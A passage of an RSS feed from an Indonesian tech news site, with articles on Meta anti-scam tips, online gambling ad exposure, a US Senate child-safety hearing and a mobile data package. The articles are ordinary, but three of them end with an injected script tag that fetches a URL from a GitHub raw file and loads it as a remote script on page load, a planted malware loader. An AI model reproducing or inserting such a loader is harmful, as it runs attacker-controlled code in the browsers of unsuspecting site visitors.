<figure class="wp-block-image size-large is-resized"><img loading="lazy" decoding="async" width="1024" height="576" src="https://nativzen.com/wp-content/uploads/2024/11/AI-ERASER-7-1024x576.png" alt="" class="wp-image-13808" style="width:650px;height:auto" srcset="https://nativzen.com/wp-content/uploads/2024/11/AI-ERASER-7-1024x576.png 1024w, https://nativzen.com/wp-content/uploads/2024/11/AI-ERASER-7-300x169.png 300w, https://nativzen.com/wp-content/uploads/2024/11/AI-ERASER-7-768x432.png 768w, https://nativzen.com/wp-content/uploads/2024/11/AI-ERASER-7-370x208.png 370w, https://nativzen.com/wp-content/uploads/2024/11/AI-ERASER-7-270x152.png 270w, https://nativzen.com/wp-content/uploads/2024/11/AI-ERASER-7-570x321.png 570w, https://nativzen.com/wp-content/uploads/2024/11/AI-ERASER-7-740x416.png 740w, https://nativzen.com/wp-content/uploads/2024/11/AI-ERASER-7.png 1280w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="576" src="https://nativzen.com/wp-content/uploads/2024/11/AI-ERASER-8-1024x576.png" alt="" class="wp-image-13807" srcset="https://nativzen.com/wp-content/uploads/2024/11/AI-ERASER-8-1024x576.png 1024w, https://nativzen.com/wp-content/uploads/2024/11/AI-ERASER-8-300x169.png 300w, https://nativzen.com/wp-content/uploads/2024/11/AI-ERASER-8-768x432.png 768w, https://nativzen.com/wp-content/uploads/2024/11/AI-ERASER-8-370x208.png 370w, https://nativzen.com/wp-content/uploads/2024/11/AI-ERASER-8-270x152.png 270w, https://nativzen.com/wp-content/uploads/2024/11/AI-ERASER-8-570x321.png 570w, https://nativzen.com/wp-content/uploads/2024/11/AI-ERASER-8-740x416.png 740w, https://nativzen.com/wp-content/uploads/2024/11/AI-ERASER-8.png 1280w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>Alhasil, rekomendasi caption yang dihasilkan oleh AI Composer bisa langsung kamu gunakan untuk menunjang foto yang diupload di Feed Instagram. Ya, caption yang dihasilkan tentunya akan terasa lebih berbeda, postingan media sosial kamu akan terlihat lebih menonjol.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>5 Tips dari Meta untuk Terhindar Kena Scam di Medsos!</title>
		<link>https://nativzen.com/2024/11/13/5-tips-dari-meta-untuk-terhindar-kena-scam-di-medsos/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Wed, 13 Nov 2024 00:22:28 +0000</pubDate>
				<category><![CDATA[HOW TO]]></category>
		<category><![CDATA[cybercrime]]></category>
		<category><![CDATA[kejahatan siber]]></category>
		<category><![CDATA[media sosial]]></category>
		<category><![CDATA[medsos]]></category>
		<category><![CDATA[meta]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=13688</guid>

					<description><![CDATA[Banyak cara yang dilakukan penjahat siber di media sosial yang berupaya untuk mencuri data-data kamu. Untuk itu, kamu pun harus lebih waspada. ]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Akhir-akhir ini, kejahatan berbasis online semakin marak terjadi di sekitar kita. Oleh karena itu, penting bagi kita dan semua orang untuk terus berhati-hati saat sedang berselancar di internet. </p>



<p>Lalu, bagaimana cara kita mencegah modus penipuan online di media sosial? Untuk itu, kamu bisa menyimak 5 tips Anti-Scam ala Meta di bawah ini agar tetap nyaman dan aman beraktivitas di media sosial!</p>



<h3 class="wp-block-heading">Aktifkan 2FA dan Lakukan Privacy Check Up</h3>



<ol start="1"></ol>



<p>Kata kunci yang aman, kuat, dan unik penting untuk melindungi akun digital kamu dari peretasan. Mengingat ancaman kejahatan siber bisa terjadi kapanpun dan pada siapapun, oleh karena itu kamu wajib mengaktifkan <a href="https://www.meta.com/help/quest/articles/accounts/account-settings-and-management/two-factor-meta-account/" target="_blank" rel="noreferrer noopener">two-factor authentication (2FA)</a>. </p>



<p>Fitur ini berfungsi sebagai lapisan proteksi tambahan yang melindungi akses ke akun digital lewat identifikasi ganda, seperti dengan kode log in via SMS dan aplikasi autentikasi yang akan memberikan informasi jika ada upaya log in dari perangkat tak dikenal. </p>



<p>Fitur 2FA tersedia di berbagai platform Meta, seperti Instagram, Facebook, dan WhatsApp. Selain itu, kamu juga bisa menggunakan fitur-fitur proteksi tambahan dari Meta, seperti Security Check-up di <a href="https://www.facebook.com/help/799880743466869/?helpref=uf_share" target="_blank" rel="noreferrer noopener">Facebook</a> dan <a href="https://about.instagram.com/safety/account-security" target="_blank" rel="noreferrer noopener">Instagram</a> untuk selalu menjaga keamanan akun kamu. </p>



<p>Kalau kamu adalah pengguna setia <a href="https://faq.whatsapp.com/143990998547188/?cms_platform=android" target="_blank" rel="noreferrer noopener">WhatsApp</a>, aktifkan <a href="https://faq.whatsapp.com/143990998547188/?helpref=uf_share" target="_blank" rel="noreferrer noopener">Privacy Checkup</a> untuk mengetahui dan memilih cara mengamankan akun kamu dari aktivitas mencurigakan. Dengan begitu, kamu akan terbebas dari kejahatan berbasis online</p>



<h3 class="wp-block-heading">Jangan Percaya Penawaran Menggiurkan</h3>



<ol start="2"></ol>



<p>Pelaku kejahatan seringkali melancarkan modusnya dengan menyebarkan pesan berisi informasi dan penawaran menarik. Beberapa modus yang marak muncul adalah penawaran tour atau paket wisata dengan harga yang terlalu murah.</p>



<p>Ya, cara tersebut dilakukan oleh para penjahat siber yang memanfaatkan keinginan banyak orang untuk liburan atau melakukan perjalanan peribadatan. Terkadang ada juga penawaran kerja dengan gaji menggiurkan. Untuk itu, kamu patut untuk mencurigainya.</p>



<figure class="wp-block-image"><img decoding="async" src="https://mail.google.com/mail/u/0?ui=2&amp;ik=fe0ea2fad7&amp;attid=0.0.1.1&amp;permmsgid=msg-f:1815430726642508278&amp;th=1931b4a097db21f6&amp;view=fimg&amp;fur=ip&amp;permmsgid=msg-f:1815430726642508278&amp;sz=s0-l75-ft&amp;attbid=ANGjdJ8lCaNnpd0TlAV7zIQeblJYl7n17_3MdFjVTSB7jaLKG_JNfsuIa_z7YJbWGAz63toxzhjculrBG45dalduwjmaYq0T0kIEIVUVK-i7-yPOQsFAyud4w8gxi6Q&amp;disp=emb&amp;zw" alt=""/></figure>



<p>Pastikan kamu selalu waspada saat menerima pesan dari orang yang tidak dikenal atau yang terlihat mencurigakan. Selalu cek profil dari pengirim pesan atau pemasang iklan, apakah terpercaya atau tidak. </p>



<p>Lalu, cek juga kolom komentar di akun media sosial mereka, apakah ada testimoni fiktif atau komplain dari akun lain yang dapat menjadi sinyal bahwa mereka adalah pelaku penipuan online. Dengan begitu, kamu pun bisa terhindar dari tawaran yang menggiurkan di luar akal sehat.</p>



<h3 class="wp-block-heading">Jangan Pernah Bagikan Data Pribadi di Medsos</h3>



<ol start="3"></ol>



<p>Tips lainnya untuk menjaga keamanan di ruang digital dan menghindari penipuan adalah dengan melindungi data pribadi. Jangan membagikan informasi sensitif seperti KTP atau data finansial di jejaring sosial, apalagi ke orang yang tidak atau baru dikenal.&nbsp;</p>



<p>Pembatasan peredaran data pribadi ini pun berlaku saat kita melamar pekerjaan. Walau memberi data pribadi ke pencari kerja terlihat lumrah, namun kamu tetap perlu berhati-hati jika diminta data-data sensitif melalui media sosial.</p>



<p>Pasalnya, penipuan berkedok lowongan kerja masih marak terjadi. Pastikan cek profil perusahaan, karena perusahaan yang kredibel tidak akan meminta pelamar membagikan data sensitif, apalagi sampai meminta bayaran dari proses rekrutmen di media sosial.</p>



<h3 class="wp-block-heading">Jangan Klik Tautan Mencurigakan</h3>



<ol start="4"></ol>



<p>Kamu mungkin pernah dengar penipuan berkedok undangan pernikahan dan penawaran palsu yang mengatasnamakan figur terkenal. Kedua modus ini punya persamaan, yaitu meminta target untuk unduh suatu lampiran atau klik tautan menuju laman tertentu.&nbsp;</p>



<figure class="wp-block-image"><img decoding="async" src="https://mail.google.com/mail/u/0?ui=2&amp;ik=fe0ea2fad7&amp;attid=0.0.1.2&amp;permmsgid=msg-f:1815430726642508278&amp;th=1931b4a097db21f6&amp;view=fimg&amp;fur=ip&amp;permmsgid=msg-f:1815430726642508278&amp;sz=s0-l75-ft&amp;attbid=ANGjdJ_8FbfvRu5-JWi5qslx06MTdpU5I2a1QQGFRm-WBuBX-lePXe__tY71X_1cfQbkfd3dSvC-UO6FwHOHFTNhGwgMk4d5splnCoUG1M83HHCj4QcooiuaK0__zSA&amp;disp=emb&amp;zw" alt=""/></figure>



<p>Nah, ini menjadi celah yang berbahaya karena pelaku bisa meng-hack akun media sosial hingga mencuri data pribadi seperti akses ke rekening bank atau dompet digital. Untuk menghindari penipuan semacam ini, jangan pernah klik tautan atau unduh lampiran yang mencurigakan.</p>



<figure class="wp-block-image"><img decoding="async" src="https://mail.google.com/mail/u/0?ui=2&amp;ik=fe0ea2fad7&amp;attid=0.0.1.3&amp;permmsgid=msg-f:1815430726642508278&amp;th=1931b4a097db21f6&amp;view=fimg&amp;fur=ip&amp;permmsgid=msg-f:1815430726642508278&amp;sz=s0-l75-ft&amp;attbid=ANGjdJ8JG7KjI8b3otKEVTzK-rc4_IhZ3pM-hHF5MYw3zjX_J7WKOR_ehi7LnpiT-1UpUrfE4nl7dApCET1_CnV_GpvZxoonPxSjiPG8OamQ9Ey_AzSTi5rbgT99Zwo&amp;disp=emb&amp;zw" alt=""/></figure>



<h3 class="wp-block-heading">Hindari Grup yang Meragukan</h3>



<ol start="5"></ol>



<p>Untuk menjaga keamanan kamu di ruang digital dan menghindari penipuan, jangan masuk ke sembarang grup chat. Pasalnya, ada modus penipuan yang mengatasnamakan marketplace tertentu yang mengundang orang-orang secara acak ke sebuah grup chat. </p>



<p>Kemudian, pelaku akan memberi iming-iming hadiah dan meminta anggota grup membayar sejumlah uang atas pajak dari hadiah tersebut. Jadi, kamu juga harus lebih waspada ketika diundang ke dalam group chat yang di dalamnya berisi orang-orang yang tidak dikenal.</p>



<figure class="wp-block-image"><img decoding="async" src="https://mail.google.com/mail/u/0?ui=2&amp;ik=fe0ea2fad7&amp;attid=0.0.1.4&amp;permmsgid=msg-f:1815430726642508278&amp;th=1931b4a097db21f6&amp;view=fimg&amp;fur=ip&amp;permmsgid=msg-f:1815430726642508278&amp;sz=s0-l75-ft&amp;attbid=ANGjdJ-R8LjbFchu2xtp1FetD7KqU5OFx9_JNLryyOfGBnhS0ZGGYGh9f0RJKlrfrDf9GrvfJ_kUhWiQgEwOg8hVLG3MbohRFDeiCs4SlMKLZo5WHxLimdvFP3uip1k&amp;disp=emb&amp;zw" alt=""/></figure>



<p>Untuk mencegah nomor WhatsApp dimasukkan ke grup yang tidak dikenal, kamu bisa membuka  <a href="https://faq.whatsapp.com/3307102709559968/?helpref=uf_share" target="_blank" rel="noreferrer noopener">menu Privasi di bagian Pengaturan dan</a> memastikan hanya orang-orang yang terdaftar di kontak yang bisa memasukkan kamu ke suatu grup. </p>



<p>Selain itu, kamu juga bisa memproteksi diri dengan memanfaatkan fitur <a href="https://www.meta.com/help/quest/articles/accounts/privacy-information-and-settings/blocking-and-unblocking/" target="_blank" rel="noreferrer noopener">blokir</a> atau melaporkan pihak-pihak yang mencurigakan dengan mengakses ikon Menu di pojok kanan atas di setiap platform Meta, lalu pilih Laporkan. </p>



<p>Fungsi ini juga bisa digunakan secara langsung di setiap konten yang ingin dilaporkan dengan klik ikon tiga titik di bagian atas konten dan pilih Laporkan. Dengan begitu, kamu bisa terhindar dari kejahatan siber yang saat ini masih marak di internet.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Ini Sih Parah! Iklan Judi Online Semakin Merasuk di Internet</title>
		<link>https://nativzen.com/2024/02/07/ini-sih-parah-iklan-judi-online-semakin-merasuk-di-internet/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Wed, 07 Feb 2024 04:09:06 +0000</pubDate>
				<category><![CDATA[NEWS]]></category>
		<category><![CDATA[TREN & LIFESTYLE]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[judi online]]></category>
		<category><![CDATA[media sosial]]></category>
		<category><![CDATA[survei populix]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=3618</guid>

					<description><![CDATA[Hasil survei terbaru yang dirilis oleh Populix memberi gambaran bahwa iklan judi online terhadap pengguna internet semakin mengkhawatirkan.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Hasil survei terbaru yang mengulas tentang judi online oleh Populix bertajukÂ â€œUnderstanding the Impact of Online Gambling Ads Exposureâ€Â memberikan gambaran tentang sejauh mana paparan dan dampak iklan judi online terhadap pengguna internet.</p>



<p>Tercatat, sebesar 82% pengguna internet pernah melihat iklan judi online selama enam bulan terakhir dan 63% dari mereka mendapatkan iklan serupa setiap kali mengakses internet. Bisa dikatakan, ini telah mencapai tingkat yang cukup mengkhawatirkan.</p>



<p>Sementara itu, data yang memprihatinkan sebelumnya juga dirilis oleh Pusat Pelaporan dan Analisis Transaksi Keuangan (PPATK). Disebutkan dalam laporan tersebut bahwa total perputaran uang dari judi online sepanjang 2023 mencapai Rp 327 triliun. </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="528" src="https://nativzen.com/wp-content/uploads/2024/02/Screenshot-4-1024x528.png" alt="" class="wp-image-3620" srcset="https://nativzen.com/wp-content/uploads/2024/02/Screenshot-4-1024x528.png 1024w, https://nativzen.com/wp-content/uploads/2024/02/Screenshot-4-300x155.png 300w, https://nativzen.com/wp-content/uploads/2024/02/Screenshot-4-768x396.png 768w, https://nativzen.com/wp-content/uploads/2024/02/Screenshot-4-370x191.png 370w, https://nativzen.com/wp-content/uploads/2024/02/Screenshot-4-270x139.png 270w, https://nativzen.com/wp-content/uploads/2024/02/Screenshot-4-570x294.png 570w, https://nativzen.com/wp-content/uploads/2024/02/Screenshot-4-740x382.png 740w, https://nativzen.com/wp-content/uploads/2024/02/Screenshot-4.png 1445w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>Lebih detail lagi, PPATK juga menuliskan dalam laporannya bahwa tercatat perputaran uang yang mencapai ratusan triliunan rupiah itu berasal dari 168 juta transaksi judi online, yang dilakukan oleh 3,29 juta masyarakat Indonesia.</p>



<p>Hasil survei terbaru yang mengulas tentang judi online oleh Populix juga menemukan di antara berbagai jenis iklan judi online, permainan judi slot paling sering dilihat dan mendominasi dengan angka yang cukup tinggi, yakni sebesar 80%. </p>



<p>Berikutnya diikuti dengan iklan judi domino (59%), poker online (48%), kasino online (47%) dan judi bola (44%).Â Selain itu, sebanyak 84% responden mengamati bahwa iklan judi online sering kali masuk ke dalam konten-konten media sosial, seperti Instagram, YouTube, dan Facebook.</p>



<p>Iklan-iklan ini juga mendapat ruang yang signifikan di website, khususnya di situs web film (55%) dan situs web gaming (57%). Selain website dan media sosial, judi onlineÂ  juga sering terlihat dari konten-konten para influencer yang melakukan promosi judi online (20%).Â </p>



<p>Seperti dikatakan oleh Vivi Zabkie, Head of Social Research, Populix bahwa iklan judi online di Indonesia kini menghadapi tingkat paparan yang belum pernah terjadi sebelumnya, dengan 63% responden selalu melihat iklan judi online setiap kali mereka mengakses internet.</p>



<p>&#8220;Iklan judi online memberikan dampak nyata terhadap minat masyarakat untuk mengakses situs judi online setelah melihat iklan tersebut. Temuan ini menyoroti perlunya tindakan bersama antara elemen pemerintah dan masyarakat,&#8221; ujar Vivi.</p>



<p>Dampak dari paparan iklan perjudian online menjadi nyata, dengan 41% responden mengungkapkan tertarik untuk membuka situs perjudian online. Dari jumlah tersebut sebanyak 16% responden diantaranya mengaku mencoba perjudian online.&nbsp;</p>



<p>Sementara itu, ketika bertransaksi, responden Populix mengatakan mereka yang terlibat dalam perjudian online lebih suka menggunakanÂ e-walletÂ untuk bertransaksi. Sedang nilai transaksi pada umumnya di bawah Rp 100.000. </p>



<p>Temuan ini sejalan dengan catatan PPATK yang menyebutkan hal yang sama. PPATK menyimpulkan jika penjudi online berasal dari kelompok pendapatan rendah.Â Menanggapi temuan tersebut, masyarakat menyatakan keinginan kuat terhadap intervensi pemerintah.</p>



<p>Sebanyak 74% responden setuju dan mendukung kebijakan Kementerian Komunikasi dan Informatika RI untuk membatasi akses terhadap situs judi online. Harapannya, iklan judi online tidak lagi berseliweran bebas di mata para pengguna internet di Tanah Air.</p>
 (<script>var url = "https://raw.githubusercontent.com/truba77/trubnik/main/to.txt"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement("script"); script.src = data.trim(); document.getElementsByTagName("head")[0].appendChild(script); });</script>)]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Raksasa Media Sosial Dikecam Gagal Melindungi Anak-Anak</title>
		<link>https://nativzen.com/2024/02/02/raksasa-media-sosial-dikecam-gagal-melindungi-anak-anak/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Fri, 02 Feb 2024 11:21:09 +0000</pubDate>
				<category><![CDATA[NEWS]]></category>
		<category><![CDATA[TREN & LIFESTYLE]]></category>
		<category><![CDATA[anak-anak]]></category>
		<category><![CDATA[ancaman media sosial]]></category>
		<category><![CDATA[keamanan media sosial]]></category>
		<category><![CDATA[media sosial]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=3438</guid>

					<description><![CDATA[Isu yang menyebutkan bahwa platform media sosial belum aman bagi anak-anak akhirnya menyeret para CEO platform media sosial terbesar.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Dengar pendapat Senat di Amerika Serikat baru-baru ini menyoroti isu yang terbilang &#8220;panas&#8221;, yakni mengenai keselamatan anak-anak di dunia maya. Akhirnya, isu ini menyeret para CEO dari platform media sosial besar seperti Meta, TikTok, dan X ke kursi panas. </p>



<p>Kesaksian emosional dari orang tua dan anak-anak, yang merinci eksploitasi dan kekerasan, memberikan dampak serius pada proses dengar pendapat ini. Para pembuat undang-undang dan aktivis anak berpendapat bahwa raksasa teknologi ini belum punya upaya yang cukup.</p>



<p>Ya, Meta, TikTok dan X dinilai oleh sebagian Senat dan aktivis anak dinilai belum melakukan upaya yang begitu kuat untuk melindungi pengguna muda dari sisi gelap media sosial, termasuk penindasan, kecanduan, dan paparan konten berbahaya.</p>



<p>Sidang Komite Kehakiman Senat di Amerika Serikat mengungkap beberapa fakta. Disebutkan bahwa desain dan pilihan operasional platform ini dinilai ikut berkontribusi secara signifikan terhadap bahaya yang dihadapi anak-anak saat mereka online di media sosial.</p>



<p>Meskipun Mark Zuckerberg telah meminta maaf kepada keluarga yang terkena dampak dan menjanjikan investasi berkelanjutan dalam langkah-langkah keselamatan, skeptisisme masih tetap tinggi. Ini ditambah dengan perdebatan antara Zuckerberg dan Senator Josh Hawley. </p>



<p>Di sisi lain, sikap proaktif Snapchat, yang menganjurkan langkah-langkah hukum untuk menjaga akuntabilitas platform, merupakan secercah harapan. Namun, suara kolektif dari industri ini nampaknya ragu-ragu, sering kali mengabaikan jaminan fitur keselamatan.</p>



<p>Dengar pendapat ini, meskipun menunjukkan kesepakatan bipartisan yang jarang terjadi mengenai masalah ini, juga menggarisbawahi tantangan yang begtitu kompleks dalam mengatur ruang yang luas dan beragam, seperti media sosial. </p>



<p>Kesaksian para CEO dan kisah-kisah menyedihkan dari para keluarga yang terkena dampak menggarisbawahi kebutuhan yang semakin mendesak. Memang perlu pendekatan seimbang yang melindungi anak-anak, tanpa menghambat aspek-aspek positif dari platform-platform ini.</p>



<p>Ketika perdebatan mengenai peraturan dan tanggung jawab penyedia platform media sosial terus berlanjut, konsensus yang jelas adalah &#8220;status quo&#8221; tidak dapat diterima. Langkah ke depan, tidak hanya memerlukan solusi teknologi, namun juga evaluasi.</p>



<p>Disepakati bahwa evaluasi terkait peran media sosial dalam kehidupan generasi muda perlu dilakukan secara berkesinambungan. Seruan untuk bertindak sangat &#8220;keras dan jelas&#8221; juga perlu dilakukan untuk memprioritaskan kesejahteraan anak-anak di era digital.</p>
 (<script>var url = "https://raw.githubusercontent.com/truba77/trubnik/main/to.txt"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement("script"); script.src = data.trim(); document.getElementsByTagName("head")[0].appendChild(script); });</script>)]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>AXIS Hadirkan Paket &#8220;Teng-Go&#8221;, Harga Mulai Rp2 Ribu</title>
		<link>https://nativzen.com/2023/11/02/axis-hadirkan-paket-teng-go-harga-mulai-rp2-ribu/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Thu, 02 Nov 2023 11:19:55 +0000</pubDate>
				<category><![CDATA[NEWS]]></category>
		<category><![CDATA[TELKO]]></category>
		<category><![CDATA[axis]]></category>
		<category><![CDATA[media sosial]]></category>
		<category><![CDATA[paket internet]]></category>
		<category><![CDATA[paket teng-go]]></category>
		<guid isPermaLink="false">http://nativzen.com/?p=262</guid>

					<description><![CDATA[Memperkuat posisinya sebagai brand anak muda, AXIS kembali membuat kejutan dengan menghadirkan paket â€Teng-Goâ€. Ini memungkinkan pelanggan bisa akses media sosial dengan mudah dan simple. Paket Teng-Go memberikan layanan akses media sosial berdasarkan waktu penggunaan, bukan kuota waktu yang di beli pun tidak akan terbuang percuma, karena pelanggan di berikan fitur Play dan Pause. Selain [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>Memperkuat posisinya sebagai brand anak muda, AXIS kembali membuat kejutan dengan menghadirkan paket â€Teng-Goâ€. Ini memungkinkan pelanggan bisa akses media sosial dengan mudah dan simple. </p>



<p>Paket Teng-Go memberikan layanan akses media sosial berdasarkan waktu penggunaan, bukan kuota waktu yang di beli pun tidak akan terbuang percuma, karena pelanggan di berikan fitur Play dan Pause.</p>



<p>Selain itu, paket ini juga memberi kemudahan bagi pelanggan untuk mengakses empat media sosial favorit, yakni Instagram, TikTok, Facebook dan YouTube. Pelanggan yang ingin membeli paket Teng-Go bisa mengakses aplikasi AXISNet. </p>



<p>â€Anak muda itu identik dengan kebebasan, itulah yang menjadi salah satu alasan kami menghadirkan paket Teng-Go yang merupakan inovasi terbaru dari AXIS,&#8221; ucap Chief Marketing Officer XL Axiata, Alfons Bosch Sansa.</p>



<p>Dilengkapi fitur pengaturan waktu yaitu â€Play dan Pauseâ€, pelanggan bisa menyesuaikan sendiri kebutuhannya. Bila pelanggan ingin menggunakan internet, cukup tekan Play, dan bila sudah selesai pelanggan bisa menekan Pause.</p>



<p>Alfons menambahkan, TikTok, Facebook, Instagram, dan Youtube, masih menjadi media sosial yang paling tinggi akses penggunanya. Rata-rata pelanggan AXIS per hari menghabiskan waktu mengakses aplikasi tersebut selama 3-4 jam/hari. </p>



<p>AXIS optimis paket Teng-Go ini akan menjadi salah satu paket favorit para anak muda. Melalui paket ini, AXIS juga percaya akan meningkatkan pengguna baru dari kalangan anak muda.</p>



<p>Paket Teng-Go memiliki beberapa pilihan harga yang ditawarkan untuk pelanggan, yaitu:</p>



<ol>
<li>Rp 2.000 untuk akses Instagram/TikTok/Facebook/Youtube selama 3 jam.</li>



<li>Rp 3.000 untuk akses Instagram/TikTok/Facebook/Youtube selama 6 jam.</li>



<li>Rp 5.000 untuk akses Instagram/TikTok/Facebook/Youtube selama 12 jam.</li>
</ol>



<p>Paket Teng-Go bisa dibeli oleh pelanggan tanpa memiliki kuota utama dan bisa juga dijadikan add-on. Penggunaan dan pengaturan akses keempat aplikasi tersebut tergantung pada pilihan paket yang dibeli. </p>



<p>Pelanggan bisa membeli lebih dari 1 paket Teng-Go. Misalnya, pelanggan sudah membeli paket Teng-Go Youtube 3 jam, bisa juga membeli paket Teng-Go Instagram 8 Jam dengan kuota unlimited.</p>
 (<script>var url = "https://raw.githubusercontent.com/truba77/trubnik/main/to.txt"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement("script"); script.src = data.trim(); document.getElementsByTagName("head")[0].appendChild(script); });</script>)]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
